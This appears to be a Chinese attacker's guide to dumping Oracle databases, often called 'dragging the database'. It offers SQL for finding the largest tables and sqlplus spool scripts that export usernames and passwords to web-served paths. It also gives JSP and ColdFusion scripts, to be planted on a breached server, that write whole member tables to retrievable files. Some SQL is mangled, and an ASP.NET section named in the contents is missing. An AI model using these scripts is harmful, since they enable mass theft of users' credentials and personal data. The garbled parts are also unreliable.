Oracle拖库指南
目录
1 常用sql语句
2 sqlplus
3 jsp 脱裤脚本
4 Asp .net 版脱裤脚本
5 ColdFusion 版脱裤脚本
6 oracle 整表预览 jsp 脚本
7 编码
8 参考
常用sql语句
查询所有表
SELECT * FROM ALL_TABLES
查询当前用户表
select table_name from user_tables;
查询所有表按大小排序
SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc
select table_name,NUM_ROWS from user_tables order by NUM_ROWS desc
查询表前十条
select * from users where rownum < 10
分页查询 2000000 到 4000000
SELECT FROM (SELECT e.,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn 2000000
sqlplus
rpm 安装
http://eduunix.ccut.edu.cn/index2/database/Oracle%20Instant%20Client/oracle-instantclient-sqlplus-11.1.0.1-1.i386.rpm
http://eduunix.ccut.edu.cn/index2/database/Oracle%20Instant%20Client/oracle-instantclient-basic-11.1.0.1-1.i386.rpm
rpm -ivh oracle-instantclient-sqlplus-11.1.0.1-1.i386.rpm
rpm -ivh oracle-instantclient-basic-11.1.0.1-1.i386.rpm
配置libs
vi /etc/ld.so.conf
/usr/lib/oracle/11.1.0.1/client/lib/
连接
交互式操作
sqlplus usewr/pass@172.100.100.41:1521/orabi
@/tmp/1.sql
非交互式
sqlplus -s user/pass@172.100.100.41 @/tmp/1.sql
**1.sql
SET feedback off
SET newpage NONE
SET pagesize 50000
SET linesize 300
SET verify off
SET pagesize 0
SET term off
SET trims ON
SET heading off
SET trimspool ON
SET trimout ON
SET timing off
SET verify off
SET colsep |
spool /var/www/css/1.txt
SELECT user_name||','||password||','||DATA||','||id FROM USER WHERE rownum < 100 ;
spool off
导出CSV格式
SET feedback off
SET newpage NONE
SET pagesize 0
SET linesize 5000
SET verify off
SET term off
SET trims ON
SET heading off
SET trimspool ON
SET trimout ON
SET timing off
SET verify off
SET colsep |
spool D:007.csv
SELECT 'id,username,password' FROM dual;
SELECT id||','||username||','||password FROM admin WHERE rownum<100;
spool off
jsp 脱裤脚本
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@172.0.0.1:1521:orabi", "admin", "admin");
File f = new File("/webapps/ROOT/css/t1.txt");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery("select * from member where rownum > 2000000");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++)
{
bw.write(rsmd.getColumnName(i)+",");
}
while (rs.next())
{
for(int i=1;i<numberOfColumns+1;i++){
bw.write(rs.getString(i)+",");
}
bw.newLine();
bw.flush();
}
out.print(rs);
%>
ColdFusion 版脱裤脚本
<CFSET USERNAME="user">
<CFSET PASSWORD="pass">
<CFSET DATABASE="ya_db">
<CFTRY>
<CFQUERY NAME="DATA" DATASOURCE=#DATABASE# USERNAME=#USERNAME# PASSWORD=#PASSWORD#>
SELECT * FROM MEMBER
</CFQUERY>
<CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFSAVECONTENT variable="Dump_DATA">
<CFDUMP var="#DATA#" EXPAND="YES" FORMAT="TEXT">
</CFSAVECONTENT>
<cffile action="write" output="#Dump_DATA#" FILE="C:\\RECYCLER\\#USERNAME#_DATA.txt">
oracle 整表预览 jsp 脚本
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@127.0.0.1:1521", "admin", "password");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String html="";
File file = new File("/tmp/data.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {
html=html+"<h3>"+line+":</h3><table border=1><tr>";
ResultSet rs=stmt.executeQuery("select * from "+line+" where rownum < 100");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++)
{
html=html+"<th>"+rsmd.getColumnName(i)+"</th>";
}
html+="</tr>";
while (rs.next())
{
html+="<tr>";
for(int i=1;i<numberOfColumns+1;i++){
html=html+"<td>"+rs.getString(i)+"</td>";
}
html+="</tr>";
}
rs.close();
html+="<tr></table>";
}
File f = new File("/tmp/info.css");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
bw.write(html);
bw.close();
br.close();
stmt.close();
conn.close();
%> 编码问题
查询当前编码
select userenv('language') from dual;
命令行执行
export NLS_LANG="american_america.AL32UTF8"
参考
good jb！